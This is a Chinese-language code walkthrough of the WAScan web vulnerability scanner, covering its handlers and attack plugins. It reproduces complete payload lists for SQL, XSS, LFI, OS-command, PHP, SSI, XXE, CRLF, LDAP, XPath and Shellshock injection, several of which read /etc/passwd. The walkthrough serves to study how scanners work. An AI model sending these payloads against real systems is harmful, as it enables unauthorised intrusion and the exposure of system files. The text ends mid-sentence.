本地文件包含 | plfi() |
执行操作系统命令 | os() |
php 代码注入 | php() |
SQL注入 | sql() |
服务器端注入 | ssip() , pssi() |
Xpath注入 | xpath() |
XSS | pxss() |
XML注入 | xxep() |
头部SQL注入
、 溢出
、 头部XSS
在该文件中对应的payload似乎没有出现。payload的具体内容就这里不展开,具体等后文与调用代码结合解释。
# Server Side Injection # 有待研究 def ssip(): """ Server Side Injection """ 省略 # CRLF # CRLF字符对应 %0d %0a def crlfp(): """Carriage Return Line Feed""" 省略 # XXE def xxep(): """ XML External Entity""" 省略 # SSI def pssi(): """ Server Side Include""" 省略 # XSS def pxss(): """ Cross-Site Scripting""" 省略 # php代码注入 def php(): """ PHP Code Injection """ 省略 # xpath注入 def xpath(): """ Xpath """ 省略 # bash注入 def bash(): """Basic Bash Command Injection """ 省略 # sql注入 def sql(): """Generic SQL""" 省略 # os命令注入 def os(): """ OS Command Injection """ 省略 # 本地文件包含 def plfi(): """ Local file Inclusion """ 省略 # 盲注 def bsql(): """ Blind SQL Injection """ 省略 # html注入 def html(): """ HTML Code Injection """ 省略 # ldap注入 def ldap(): """ LDAP Injection """ 省略
格式化打印: lib/utils/printer.py
定义了各种打印输出方法,基本的格式化字符串、颜色、编码等等。
def plus(string,flag="[+]"): print "{}{}{} {}{}{}".format( GREEN%(0),flag,RESET, WHITE%(0),ucode(string),RESET ) def less(string,flag="[-]"): def warn(string,flag="[!]"): def test(string,flag="[*]"): def info(string,flag="[i]"): def more(string,flag="|"): def null(): print ""
随机串生成: lib/utils/rand.py
定义两个函数。第一个是 r_time
基于当前时间 strftime('%y%m%d')
用来生成随机数字。
def r_time(): """ random numbers """ return randint(0,int(strftime('%y%m%d')))
第二个是 r_string
,用于生成指定长度为 n
的包含大写或者小写字母的随机字符串。
def r_string(n): """ random strings """ return "".join([choice(uppercase+lowercase) for _ in xrange(0,int(n))])
文件读取操作:lib/utils/readfile.py
该文件定义了 readfile
函数,用于基本的文件读取操作。首先判断路径是否为空, !=None
或者 !=""
。利用列表生成器, line.strip()
在读取每一行后去除两边的空白符。:
def readfile(path): """ read file """ if path != None or path != "": return [line.strip() for line in open(path,'rb')] return
基本设置:lib/utils/settings.py
# tool name 工具名称,即命令行运行时的第一个参数 NAME = argv[0] # tool version 版本 VERSION = "v0.2.1" # author 作者 AUTHOR = "Momo Outaadi (M4ll0k)" # description 描述 DESCRIPTION = "Web Application Scanner" # name + description + version NVD = (NAME.split('.')[0]).title()+": "+DESCRIPTION+" - "+VERSION # max threads 最大线程数量 MAX = 5 # args 命令行参数 CHAR = "u:s:H:d:m:h:R:a:A:c:p:P:t:n:v=:V=:r=:b=:" # 与上面命令行参数对应的 完整参数名称 LIST_NAME = [ 省略 ] # argv ARGV = argv # dict args ARGS = { 'auth': None, 'brute': None, 'agent': ragent(), 'proxy': None, 'pauth': None, 'cookie': None, 'timeout': 5, 'redirect': True, 'headers': {}, 'data': None, 'method': 'GET' } # time TIME = strftime('%d/%m/%Y at %H:%M:%S') TNOW = strftime('%H:%M:%S') # print version def Version(): print "\n{}".format(NVD) print "Author: {}\n".format(AUTHOR) exit() # print time and url def PTIME(url): plus("URL: {}".format(url)) plus("Starting: {}".format(TIME)) null()
编码: lib/utils/unicode.py
统一转换成 utf-8
来处理
def ucode(string): if isinstance(string,unicode): return string.encode('utf-8') return string
帮助信息:lib/utils/usage.py
用来输出一些帮助信息,全程一行行 print
,简单粗暴。
class usage: """ docstring for usage """ def banner(self): 省略 def basic(self,_exit_=True): 省略
lib/handler 文件夹
这里定义了几种扫描处理模式。回到主文件 wascan.py
中,它真正开始扫描是后半部分代码,根据 kwargs['brute']
或 scan
的值去选择不同的模式,比如若指定了 brute
,则会调用 BruteParams
模式,其余类似。这些模式都整合在 handler
目录下。
暴破:lib/handler/brute.py
第一种暴破指去爆破页面中的 隐藏参数
。
brute.py
对应代码如下:
def BruteParams(kwargs,url,data): params(kwargs,url,data).run() exit(0)
其中 params
类后文再详解。
主文件 wascan.py
的调用入口:
if kwargs['brute']: BruteParams(kwargs,url,kwargs['data']).run()
第二种爆破指后台爆破、路径爆破。
brute.py
对应代码如下:
path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/brute/') def Brute(kwargs,url,data): # 获取 根路径 url = CNQuery(url) info('Starting bruteforce module...') # dirs函数,获取指定path目录下的以py结尾的非 __ini__.py 的py文件 for file in dirs(path): file = file.split('.py')[0] __import__('plugins.brute.%s'%(file)) # 作为模块导入,开始爆破 module = sys.modules['plugins.brute.%s'%(file)] module = module.__dict__[file] module(kwargs,url,data).run()
主文件 wascan.py
中两处入口:
if scan == 3: Brute(kwargs,url,kwargs['data']) 省略 if int(scan) == 5: 省略 Brute(kwargs,parse.netloc,kwargs['data'])
指纹:lib/handler/fingerprint.py
指纹识别模式。 fingerprint.py
代码中 Fingerprint
类如下:
class Fingerprint(Request): """Fingerprint""" def __init__(self,kwargs,url): # 相关参数 初始化 Request.__init__(self,kwargs) self.kwarg = kwargs self.url = url def run(self): info('Starting fingerprint target...') try: # -- request -- # 首先发送HTTP GET请求 req = self.Send(url=self.url,method="GET") # -- detect server -- # 探测 服务器指纹 # 一个站点往往对应一种服务器如apache # 根据头部返回的信息 server: xxx 来确定 __server__ = server(self.kwarg,self.url).run() if __server__: # 若探测到,plus打印模式 plus('Server: %s'%(__server__)) # -- detect cms # 探测 cms框架指纹 __cms__ = Cms(req.headers,req.content) # 同一个站点,可能同时使用多种cms。因此会返回多种结果 for cms in __cms__: if cms != (None and ""): plus('CMS: %s'%(cms)) # -- detect framework # 探测 web框架 __framework__ = Framework(req.headers,req.content) for framework in __framework__: if framework != (None and ""): plus('Framework: %s'%(framework)) # -- detect lang # 探测 编程语言 __lang__ = Language(req.content) for lang in __lang__: if lang != (None and ""): plus('Language: %s'%(lang)) # -- detect os # 探测 操作系统版本 __os__ = Os(req.headers) for os in __os__: if os != (None and ""): plus('Operating System: %s'%os) # -- detect waf # 探测 waf种类 __waf__ = Waf(req.headers,req.content) for waf in __waf__: if waf != (None and ""): plus('Web Application Firewall (WAF): %s'%waf) Headers(req.headers,req.content) except Exception as e: pass
在探测 server
时,由于 WAScan
直接采用了返回头部中的 server
字段,没有爆破处理。所以 server
函数实际存放在 plugins/fingerprint/server/server.py
。而其他类型的指纹,比如 cms
、 framework
、 Language
、 Os
、 Waf
等,难以直接确定,需要多种脚本去尝试,所以这几种类型的指纹探测,都是在 fingerprint.py
中定义了一个入口函数,用来导入 plugins/fingerprint/
目录下的相关探测模块。
g_path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/fingerprint/') def Cms(headers,content): cms = [] path = g_path+'cms/' for file in dirs(path): file = file.split('.py')[0] __import__('plugins.fingerprint.cms.%s'%(file)) module = sys.modules['plugins.fingerprint.cms.%s'%(file)] module = module.__dict__[file] cms.append(module(headers,content)) return cms def Framework(headers,content): framework = [] path = g_path+'framework/' for file in dirs(path): file = file.split('.py')[0] __import__('plugins.fingerprint.framework.%s'%(file)) module = sys.modules['plugins.fingerprint.framework.%s'%(file)] module = module.__dict__[file] framework.append(module(headers,content)) return framework def Language(content): language = [] path = g_path+'language/' for file in dirs(path): file = file.split('.py')[0] __import__('plugins.fingerprint.language.%s'%(file)) module = sys.modules['plugins.fingerprint.language.%s'%(file)] module = module.__dict__[file] language.append(module(content)) return language def Os(headers): operating_system = [] path = g_path+'os/' for file in dirs(path): file = file.split('.py')[0] __import__('plugins.fingerprint.os.%s'%(file)) module = sys.modules['plugins.fingerprint.os.%s'%(file)] module = module.__dict__[file] operating_system.append(module(headers)) return operating_system def Waf(headers,content): web_app_firewall = [] path = g_path+'waf/' for file in dirs(path): file = file.split('.py')[0] __import__('plugins.fingerprint.waf.%s'%(file)) module = sys.modules['plugins.fingerprint.waf.%s'%(file)] module = module.__dict__[file] web_app_firewall.append(module(headers,content)) return web_app_firewall
在完成所有类型的探测后, wascan
在结尾调用了 Headers(req.headers,req.content)
,这个根据响应来确定一些信息,具体作用等讲解 plugins/fingerprint
时再详说。
def Headers(headers,content): if 'set-cookie' in headers.keys() or 'cookie' in headers.keys(): cookies().__run__(headers['set-cookie'] or headers['cookie']) header().__run__(headers)
在主文件 wascan.py
中有两处入口,如下:
if scan == 0: Fingerprint(kwargs,url).run() if int(scan) == 5: 省略 Fingerprint(kwargs,url).run()
攻击:lib/handler/attacks.py
导入各种攻击的模块,然后调用运行
path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/attacks/') def Attacks(kwargs,url,data): info('Starting attacks module...') for file in dirs(path): file = file.split('.py')[0] __import__('plugins.attacks.%s'%(file)) module = sys.modules['plugins.attacks.%s'%(file)] module = module.__dict__[file] module(kwargs,url,data).run()
主文件 wascan.py
中的入口:
if scan == 1: Attacks(kwargs,url,kwargs['data'])
审计:lib/handler/audit.py
载入各种审计的模块,然后调用运行。
path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/audit/') def Audit(kwargs,url,data): url = CNQuery(url) info('Starting audit module...') for file in dirs(path): file = file.split('.py')[0] __import__('plugins.audit.%s'%(file)) module = sys.modules['plugins.audit.%s'%(file)] module = module.__dict__[file] module(kwargs,url,data).run()
主文件 wascan.py
中的入口:
if scan == 2: Audit(kwargs,url,kwargs['data'])
信息搜集:lib/handler/disclosure.py
载入各种信息搜集的模块,然后调用运行。
path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/disclosure/') class Disclosure(Request): def __init__(self,kwargs,url,data): Request.__init__(self,kwargs) self.url = url def run(self): info('Starting disclosure module...') req = self.Send(url=self.url,method='GET') for file in dirs(path): file = file.split('.py')[0] __import__('plugins.disclosure.%s'%(file)) module = sys.modules['plugins.disclosure.%s'%(file)] module = module.__dict__[file] if file == 'errors':module(req.content,req.url) else:module(req.content)
主文件 wascan.py
中的入口:
if scan == 4: Disclosure(kwargs,url,kwargs['data']).run()
爬虫:lib/handler/crawler.py
爬虫调用,在给定一个url后,在fullscan模式下会去爬去页面中所有的链接,然后进行检查。对应代码如下:
class Crawler: """ cralwer """ def run(self, kwargs, url, data): info("Starting crawler...") links = [] links.append(url) for link in links: for k in SCrawler(kwargs, url, data).run(): if k not in links: links.append(k) return links
links
保存所有的url,一开始就一个。然后通过调用 爬虫:lib/request/crawler.py
中的 SCrawler
爬虫,不断地往 links
中添加,然后不断爬取。
主文件的入口:
if int(scan) == 5: 省略 for u in Crawler().run(kwargs,url,kwargs['data']):
完整扫描: lib/handler/fullscan.py
实际代码如下:
def FullScan(kwargs,url,data): info('Starting full scan...') if '?' in url: Attacks(kwargs,url,data) Disclosure(kwargs,url,data)
主文件入口:
if int(scan) == 5: 省略 for u in Crawler().run(kwargs,url,kwargs['data']): 省略 if type(u[0]) is tuple: 省略 FullScan(kwargs,u[0],kwargs['data']) else: FullScan(kwargs,u,kwargs['data'])
所以综上, fullscan
模式的整体流程如下:
-
Fingerprint()
-
Crawler()
-
FullScan()
Attacks() Disclosure()
-
Audit()
-
Brute()
lib/db 文件夹
整合各种字典。先略过。
plugins/attacks
plugins/attacks/htmli.py
检查HTML代码注入。思路即:在参数值中添加进html代码,然后检查返回的响应,直接用 search(payload,req.content)
来看能否检测到相应的模式,。若存在则保存 URL
、 DATA
、 PAYLOAD
,然后输出。
class htmli(Request): """ Html Code Injection """ get = "GET" post = "POST" def __init__(self,kwargs,url,data): Request.__init__(self,kwargs) self.url = url self.data = data def run(self): """ Run """ info('Checking HTML Injection...') URL = None DATA = None PAYLOAD = None # start for payload in html(): # post method if self.data: # data add payload addPayload = padd(self.url,payload,self.data) for data in addPayload.run(): # send request req = self.Send(url=self.url,method=self.post,data=data) # search payload in response content if search(payload,req.content): URL = req.url DATA = data PAYLOAD = payload break # get method else: # url and payload urls = padd(self.url,payload,None) for url in urls.run(): # send request req = self.Send(url=url,method=self.get) # search payload in response content if search(payload,req.content): URL = url PAYLOAD = payload break # break if URL and PAYLOAD not empt if URL and PAYLOAD: # print if DATA != None: plus("A potential \"HTML Code Injection\" was found at:") more("URL: {}".format(URL)) more("POST DATA: {}".format(DATA)) more("PAYLOAD: {}".format(PAYLOAD)) elif DATA == None: plus("A potential \"HTML Code Injection\" was found at:") more("URL: {}".format(URL)) more("PAYLOAD: {}".format(PAYLOAD)) # break break
plugins/attacks/phpi.py
检查 PHP 代码注入。采用的是 system("cat /etc/passwd")
类似的payload来检测在返回的响应中匹配的是 root: /bin/bash
字符串,或者通过 system("echo")
输出随机字符串来匹配。个人看法, system
在许多情况下都是被禁用的,因此通过 system
来检测成功率估计不高。另外 /etc/passwd
只存在UNIX系统上,win需要其他方式来检查。如果用 phpinfo()
可能会更好。
class phpi(Request): """ PHP Code Injection """ get = "GET" post = "POST" def __init__(self,kwargs,url,data): Request.__init__(self,kwargs) self.url = url self.data = data def run(self): """ Run """ info('Checking PHP Code Injection...') URL = None DATA = None PAYLOAD = None for payload in php(): # post method if self.data: # data add payload rPayload = preplace(self.url,payload,self.data) for data in rPayload.run(): # split payload if "\"" in payload: payload = payload.split('"')[1] # send request req = self.Send(url=self.url,method=self.post,data=data) # search payload in req.content # payload采用的是 system("cat /etc/passwd") # 因此匹配的是 root: /bin/bash if search(r"root\:\/bin\/bash|"+payload,req.content): URL = req.url DATA = data PAYLOAD = payload break # get method else: # url query add payload urls = preplace(self.url,payload,None) for url in urls.run(): # split payload if "\"" in payload: payload = payload.split('"')[1] # send request req = self.Send(url=url,method=self.get) # search payload in req.content if search(r"root\:\/bin\/bash|"+payload,req.content): URL = url PAYLOAD = payload break # if URL and PAYLOAD not empty if URL and PAYLOAD: # print if DATA != None: plus("A potential \"PHP Code Injection\" was found at:") more("URL: {}".format(URL)) more("POST DATA: {}".format(DATA)) more("PAYLOAD: {}".format(PAYLOAD)) elif DATA == None: plus("A potential \"PHP Code Injection\" was found at:") more("URL: {}".format(URL)) more("PAYLOAD: {}".format(PAYLOAD)) # break break
对应的payload 在 lib/utils/payload.py:68 :
# php代码注入 def php(): """ PHP Code Injection """ payload = ["system('/bin/echo%20\""+r_string(30)+"\"')"] payload += ["system('/bin/cat%20/etc/passwd')"] payload += ["system('echo\""+r_string(30)+"\"')"] return payload
plugins/attacks/ssi.py
因为这个情况往往存在UNIX系统中,win一般不存在该漏洞。所以payload中只尝试读取 /etc/passwd
,然后检测响应。
class ssi(Request): """ Server Side Injection """ get = "GET" post = "POST" def __init__(self,kwargs,url,data): Request.__init__(self,kwargs) self.url = url self.data = data def run(self): """ Run """ info('Checking Server Side Injection...') URL = None DATA = None PAYLOAD = None # start for payload in ssip(): # post method if self.data: # data add payload addPayload = padd(self.url,payload,self.data) for data in addPayload.run(): # send request req = self.Send(url=self.url,method=self.post,data=data) # search payload in response content if search(r'root:/bin/[bash|sh]',req.content): URL = req.url DATA = data PAYLOAD = payload break # get method else: # url and payload urls = padd(self.url,payload,None) for url in urls.run(): # send request req = self.Send(url=url,method=self.get) # search payload in response content if search(r'root:/bin/[bash|sh]',req.content): URL = url PAYLOAD = payload break # break if URL and PAYLOAD not empty if URL and PAYLOAD: # print if DATA != None: plus("A potential \"Server Side Injection\" was found at:") more("URL: {}".format(URL)) more("POST DATA: {}".format(DATA)) more("PAYLOAD: {}".format(PAYLOAD)) elif DATA == None: plus("A potential \"Server Side Injection\" was found at:") more("URL: {}".format(URL)) more("PAYLOAD: {}".format(PAYLOAD)) # break break
对应payload:
def ssip(): """ Server Side Injection """ payload = ['<pre><!--#exec cmd="/etc/passwd" --></pre>'] payload += ['<pre><!--#exec cmd="/bin/cat /etc/passwd" --></pre>'] payload += ['<pre><!--#exec cmd="/bi*/ca? /et*/passw?" --></pre>'] payload += ['<!--#exec cmd="/etc/passwd" -->'] payload += ['<!--#exec cmd="/et*/pa??w?" -->'] return payload
plugins/attacks/bufferoverflow.py
溢出bufferoverflow的payload没有在 lib/utils/payload.py
中出现,而是直接定义在了这里。几种可能的字符,然后三种可能的长度,发包检测响应。这里的 serror
需要匹配的模式(lib/db/errors/buffer.json)如下:
{ "info":{ "name":"BOF", "regexp":[ "\*\*\* stack smashing detected \*\*\*:", "\<html\>\<head\> \<title\>500 Internal Server Error\<\/title\> ", "Internal Server Error\<\/h1\>" ] } }
bufferoverflow.py
class bufferoverflow(Request): """ Buffer Overflow """ get = "GET" post = "POST" def __init__(self,kwargs,url,data): Request.__init__(self,kwargs) self.url = url self.data = data def serror(self,resp): """ Return error """ _ = None realpath = path.join(path.realpath(__file__).split('plugins')[0],'lib/db/errors') abspath = realpath+"/"+"buffer.json" _ = self.search(resp,json.loads(readfile(abspath)[0],encoding="utf-8")) if _ != None: return _ def search(self,resp,content): """ Search error in response """ for error in content['info']['regexp']: if search(error,resp): _ = content['info']['name'] return _ def run(self): """ Run """ info('Checking Buffer OverFlow...') URL = None DATA = None PAYLOAD = None # potential char caused buffer overflow char = ["A","%00","%06x","0x0"] for payload in char: # payload * num for num in [10,100,200]: # post method if self.data: # replace params with payload rPayload = preplace(self.url,(payload*num),self.data) for data in rPayload.run(): # send request req = self.Send(url=self.url,method=self.post,data=data) # search errors error = self.serror(req.content) if error: URL = req.url DATA = self.data PAYLOAD = "{} * {}".format(payload,num) break # get method else: urls = preplace(self.url,(payload*num),None) for url in urls.run(): # send request req = self.Send(url=url,method=self.get) # search errors error = self.serror(req.content) if error: URL = url PAYLOAD = "{} * {}".format(payload,num) break # break if URL and PAYLOAD not empty if URL and PAYLOAD: # print if DATA != None: plus("A potential \"Buffer Overflow\" was found at:") more("URL: {}".format(URL)) more("POST DATA: {}".format(DATA)) more("PAYLOAD: {}".format(PAYLOAD)) elif DATA == None: plus("A potential \"Buffer Overflow\" was found at:") more("URL: {}".format(URL)) more("PAYLOAD: {}".format(PAYLOAD)) break
plugins/attacks/lfi.py
代码结构和 bufferoverflow.py 大致相同。
真正的payload 在 lib/utils/payload.py:137:
def plfi(): """ Local file Inclusion """ payload = ["/etc/passwd%00"] payload += ["/etc/passwd"] payload += ["etc/passwd"] payload += ["%00../../../../../../etc/passwd"] payload += ["%00../etc/passwd%00"] payload += ["/./././././././././././boot.ini"] payload += [r"/..\../..\../..\../..\../..\../..\../boot.ini"] payload += ["..//..//..//..//..//boot.ini"] payload += ["../../boot.ini"] payload += ["/../../../../../../../../../../../boot.ini%00"] payload += ["/../../../../../../../../../../../boot.ini%00.html"] payload += ["C:/boot.ini"] payload += ["/../../../../../../../../../../etc/passwd^^"] payload += [r"/..\../..\../..\../..\../..\../..\../etc/passwd"] payload += [r"..\..\..\..\..\..\..\..\..\..\etc\passwd%"] payload += ["../../../../../../../../../../../../localstart.asp"] payload += ["index.php"] payload += ["../index.php"] payload += ["index.asp"] payload += ["../index.asp"] return payload
用于匹配的模式 lib/db/errors/lfi.json:
{ "info":{ "name":"LFI", "regexp":[ "root:/bin/bash", "root:/bin/sh", "java.io.FileNotFoundException:", "java.lang.Exception:", "java.lang.IllegalArgumentException:", "java.net.MalformedURLException:", "fread\(\):", "for inclusion \'\(include_path=", "Failed opening required", "\<b\>Warning\<\/b\>: file\(", "\<b\>Warning\<\/b\>: file_get_contents\(", "open_basedir restriction in effect", "Failed opening [\'\S*\'] for inclusion \(", "failed to open stream\:", "root\:\/root\:\/bin\/bash", "default=multi([0])disk([0])rdisk([0])partition([1])\WINDOWS" ] } }
plugins/attacks/xss.py
代码结构与 htmli.py 类似。
对应payload 在 lib/utils/payload.py:51:
def pxss(): """ Cross-Site Scripting""" payload = [r"<script>alert('"+r_string(5)+"')</script>"] payload += [r"<script>alert('"+r_string(5)+r"');</script>"] payload += [r"\'\';!--\"<"+r_string(5)+r">=&{()}"] payload += [r"<script>a=/"+r_string(5)+r"/"] payload += [r"<body onload=alert('"+r_string(5)+r"')>"] payload += [r"<iframe src=javascript:alert('"+r_string(5)+r"')>"] payload += [r"<x onxxx=alert('"+r_string(5)+r"') 1='"] payload += [r"</script><svg onload=alert("+r_string(5)+r")>"] payload += [r"<svg onload=alert('"+r_string(5)+r"')>"] payload += [r"alert\`"+r_string(5)+r"\`"] payload += [r"><script>"+r_string(5)+""] payload += [r"\"><script>alert('"+r_string(5)+"');</script>"] payload += [r"< script > "+r_string(5)+" < / script>"] return payload
plugins/attacks/xpathi.py
代码结构与 bufferoverflow.py 类似。
payload 在 lib/utils/payload.py:75:
def xpath(): """ Xpath """ payload = ["\'"] payload += ["//*"] payload += ["@*"] payload += ["\' OR \'=\'"] payload += ["\' OR \'1\'=\'1\'"] payload += ["x\' or 1=1 or \'x\'=\'y"] payload += ["%s\' or 1=1 or \'%s\'=\'%s"%(r_string(10),r_string(10),r_string(10))] payload += ["x' or name()='username' or 'x'='y"] payload += ["%s\' or name()='username' or '%s'='%s"%(r_string(10),r_string(10),r_string(10))] payload += ["\' and count(/*)=1 and \'1\'=\'1"] payload += ["\' and count(/@*)=1 and \'1\'=\'1"] return payload
用于匹配的模式在 lib/db/errors/xpath.json:
{ "info":{ "name":"XPath", "regexp":[ "::xpath()", "XPATH syntax error\:", "XPathException", "XPath\:", "XPath\(\)", "System.Xml.XPath.XPathException\:", "MS\.Internal\.Xml\.", "Unknown error in XPath", "org.apache.xpath.XPath", "A closing bracket expected in", "An operand in Union Expression does not produce a node-set", "Cannot convert expression to a number", "Document Axis does not allow any context Location Steps", "Empty Path Expression", "Empty Relative Location Path", "Empty Union Expression", "Expected \'\)\' in", "Expected node test or name specification after axis operator", "Incompatible XPath key", "Incorrect Variable Binding", "libxml2 library function failed", "xmlsec library function", "error \'80004005\'", "A document must contain exactly one root element\.", "Expected token \']\'", "\<p\>msxml4.dll\<\/font\>", "4005 Notes error: Query is not understandable" ] } }
plugins/attacks/crlf.py
payload中注入的模式是 Set-Cookie:crlf=injection
,在进行检测时把 =injection
替换成随机字符串。然后在返回头的 Set-Cookie
(若有)中检测注入的随机字符串。
class crlf(Request): """ Carriage Return Line Feed """ get = "GET" post = "POST" def __init__(self,kwargs,url,data): Request.__init__(self,kwargs) self.url = url self.data = data def run(self): """ Run """ info('Checking CRLF Injection...') URL = None DATA = None PAYLOAD = None # start for payload in crlfp(): random_string = r_string(20) payload = payload.replace('=injection',random_string) # check host req = self.Send(CPath(self.url,'/%s'%payload),method=self.get) if 'Set-Cookie' in req.headers.keys(): if search(random_string,req.headers['Set-Cookie'],I): plus('A potential \"Carriage Return Line Feed\" was found at: ') more('URL: {}'.format(req.url)) more('PAYLOAD: {}'.format(payload)) break # post method if self.data: # data add payload addPayload = preplace(self.url,payload,self.data) for data in addPayload.run(): # send request req = self.Send(url=self.url,method=self.post,data=data) # search payload in response content if 'Set-Cookie' in req.headers.keys(): if search(random_string,req.headers['Set-Cookie'],I): URL = req.url DATA = data PAYLOAD = payload break # get method else: # url and payload urls = preplace(self.url,payload,None) for url in urls.run(): # send request req = self.Send(url=url,method=self.get) # search payload in response content if 'Set-Cookie' in req.headers.keys(): if search(random_string,req.headers['Set-Cookie'],I): URL = url PAYLOAD = payload break # break if URL and PAYLOAD not empty if URL and PAYLOAD: # print if DATA != None: plus("A potential \"Carriage Return Line Feed\" was found at:") more("URL: {}".format(URL)) more("POST DATA: {}".format(DATA)) more("PAYLOAD: {}".format(PAYLOAD)) elif DATA == None: plus("A potential \"Carriage Return Line Feed\" was found at:") more("URL: {}".format(URL)) more("PAYLOAD: {}".format(PAYLOAD)) # break break
对应payload 在 lib/utils/payload.py:21:
def crlfp(): """Carriage Return Line Feed""" payload = [r'%%0a0aSet-Cookie:crlf=injection'] payload += [r'%0aSet-Cookie:crlf=injection'] payload += [r'%0d%0aSet-Cookie:crlf=injection'] payload += [r'%0dSet-Cookie:crlf=injection'] payload += [r'%23%0d%0aSet-Cookie:crlf=injection'] payload += [r'%25%30%61Set-Cookie:crlf=injection'] payload += [r'%2e%2e%2f%0d%0aSet-Cookie:crlf=injection'] payload += [r'%2f%2e%2e%0d%0aSet-Cookie:crlf=injection'] return payload
plugins/attacks/oscommand.py
代码结构与 htmli.py 类似。根据payload,直接在响应中去匹配特殊字符 if search('{}'.format(payload.split('"')[1]),req.content):
。
对应payload在 lib/utils/payload.py:124
def os(): """ OS Command Injection """ payload = ["%secho \"%s\""%(quote_plus("&"),r_string(30))] payload += ["%secho \"%s\""%(quote_plus("&&"),r_string(30))] payload += ["%secho \"%s\""%(quote_plus("|"),r_string(30))] payload += ["%secho \"%s\""%(quote_plus(";"),r_string(30))] payload += ["%secho \"%s\""%(quote_plus("||"),r_string(30))] payload += ["\techo \"%s\""%(r_string(30))] payload += ["\t\techo \"%s\""%(r_string(30))] payload += ["%s\"/bin/cat /etc/passwd\""%quote_plus('|')] payload += ["%s\"/etc/passwd\""%quote_plus('|')] return payload
plugins/attacks/ldapi.py
代码结构与 bufferoverflow.py 类似。
payload 在 lib/utils/payload.py:197:
def ldap(): """ LDAP Injection """ payload = ["!"] payload += ["%29"] payload += ["%21"] payload += ["%28"] payload += ["%26"] payload += ["("] payload += [")"] payload += ["@\'"] payload += ["*()|&'"] payload += ["%s*"%r_string(10)] payload += ["*(|(%s=*))"%r_string(10)] payload += ["%s*)((|%s=*)"%(r_string(10),r_string(10))] payload += [r"%2A%28%7C%28"+r_string(10)+r"%3D%2A%29%29"] return payload
用于匹配的模式在 lib/db/errors/xpath.json:
{ "info":{ "name":"LDAP", "regexp":[ "supplied argument is not a valid ldap", "javax\.naming\.NameNotFoundException", "javax\.naming\.directory\.InvalidSearchFilterException", "Invalid DN syntax", "LDAPException*", "Module Products\.LDAPMultiPlugins", "IPWorksASP\.LDAP", "Local error occurred", "Object does not exist", "An inappropriate matching occurred" ] } }
plugins/attacks/headerxss.py
检查存在于头部字段的XSS,包括 cookie
字段, referer
字段, useragent
字段。其实就是拿xss的payload放在对应的位置再打一圈。话说这个位置的xss危害不大吧。。
class headerxss(Request): """ Cross-Site Scripting (XSS) in headers value """ get = "GET" def __init__(self,kwargs,url,data): Request.__init__(self,kwargs) self.url = url self.data = data def run(self): """Run""" info('Checking XSS on Headers..') self.cookie() self.referer() self.useragent() def cookie(self): """ Check cookie """ for payload in pxss(): headers = { 'Cookie':'{}'.format(payload) } req = self.Send(url=self.url,method=self.get,headers=headers) # search payload in content if search(payload,req.content): plus("A potential \"Cross-Site Scripting (XSS)\" was found at cookie header value:") more("URL: {}".format(req.url)) more("PAYLOAD: {}".format(payload)) def referer(self): """ Check referer """ for payload in pxss(): headers = { 'Referer':'{}'.format(payload) } req = self.Send(url=self.url,method=self.get,headers=headers) # search payload in content if search(payload,req.content): plus("A potential \"Cross-Site Scripting (XSS)\" was found at referer header value:") more("URL: {}".format(req.url)) more("PAYLOAD: {}".format(payload)) def useragent(self): """ Check user-agent """ for payload in pxss(): headers = { 'User-Agent':'{}'.format(payload) } req = self.Send(url=self.url,method=self.get,headers=headers) # search payload in content if search(payload,req.content): plus("A potential \"Cross-Site Scripting (XSS)\" was found at user-agent header value:") more("URL: {}".format(req.url)) more("PAYLOAD: {}".format(payload))
plugins/attacks/sqli.py
代码结构与 bufferoverflow.py 类似。
payload 在 lib/utils/payload.py:101:
def sql(): """Generic SQL""" payload = ["\'"] payload += ["\\\'"] payload += ["||\'"] payload += ["1\'1"] payload += ["-%s"%(r_time())] payload += ["\'%s"%(r_time())] payload += ["%s\'"%(r_string(10))] payload += ["\\\"%s"%(r_string(10))] payload += ["%s=\'%s"%(r_time(),r_time())] payload += ["))\'+OR+%s=%s"%(r_time(),r_time())] payload += ["))) AND %s=%s"%(r_time(),r_time())] payload += ["; OR \'%s\'=\'%s\'"%(r_time(),r_time())] payload += ["\'OR \'))%s=%s --"%(r_time(),r_time())] payload += ["\'AND \')))%s=%s --#"%(r_time(),r_time())] payload += [" %s 1=1 --"%(r_string(20))] payload += [" or sleep(%s)=\'"%(r_time())] payload += ["%s' AND userid IS NULL; --"%(r_string(10))] payload += ["\") or pg_sleep(%s)--"%(r_time())] payload += ["; exec (\'sel\' + \'ect us\' + \'er\')"] return payload
用于匹配的模式在 lib/db/sqldberror/ 下。略过不提。
plugins/attacks/xxe.py
代码结构与 htmli.py 类似。发送请求,然后匹配 if search(payload,req.content):
。个人看法,匹配效果较差。
payload在 lib/utils/payload.py:33:
def xxep(): """ XML External Entity""" payload = ['<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///etc/passwd"> ]>'] payload += ['<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///c:/boot.ini"> ]>'] payload += ['<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "file:///etc/passwd"> ]>'] payload += ['<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "file:///c:/boot.ini"> ]>'] payload += ['<?xml version="1.0"?><change-log><text>root:/bin/bash</text></change-log>'] payload += ['<?xml version="1.0"?><change-log><text>default=multi(0)disk(0)rdisk(0)partition(1)</text></change-log>'] return payload
plugins/attacks/bashi.py
bash注入,但是这里只检测了GET方法,POST请求并不检查!另外这里在 头部的 User-Agent
、 Referer
字段插入了payload。
class bashi(Request): """Bash Command Injection (ShellShock)""" get = "GET" def __init__(self,kwargs,url,data): Request.__init__(self,kwargs) self.url = url self.data = data def run(self): """Run""" info('Checking Bash Command Injection...') for payload in bash(): # user-agent and referer header add the payload user_agent = {'User-Agent':'() { :;}; echo; echo; %s;'%payload, 'Referer':'() { :;}; echo; echo; %s;'%payload } # send request req = self.Send(url=self.url,method=self.get,headers=user_agent) # split payload if '\"' in payload: payload = payload.split('"')[1] # search root:/bin/ba[sh] or payload in content if search(r"root:/bin/[bash|sh]|"+payload,req.content): plus("A potential \"Bash Command Injection\" was found via HTTP User-Agent header (ShellShock)") more("URL: {}".format(self.url)) more("PAYLOAD: {}".format('() { :;}; echo; echo; %s;'%(payload))) break
payload定义在:
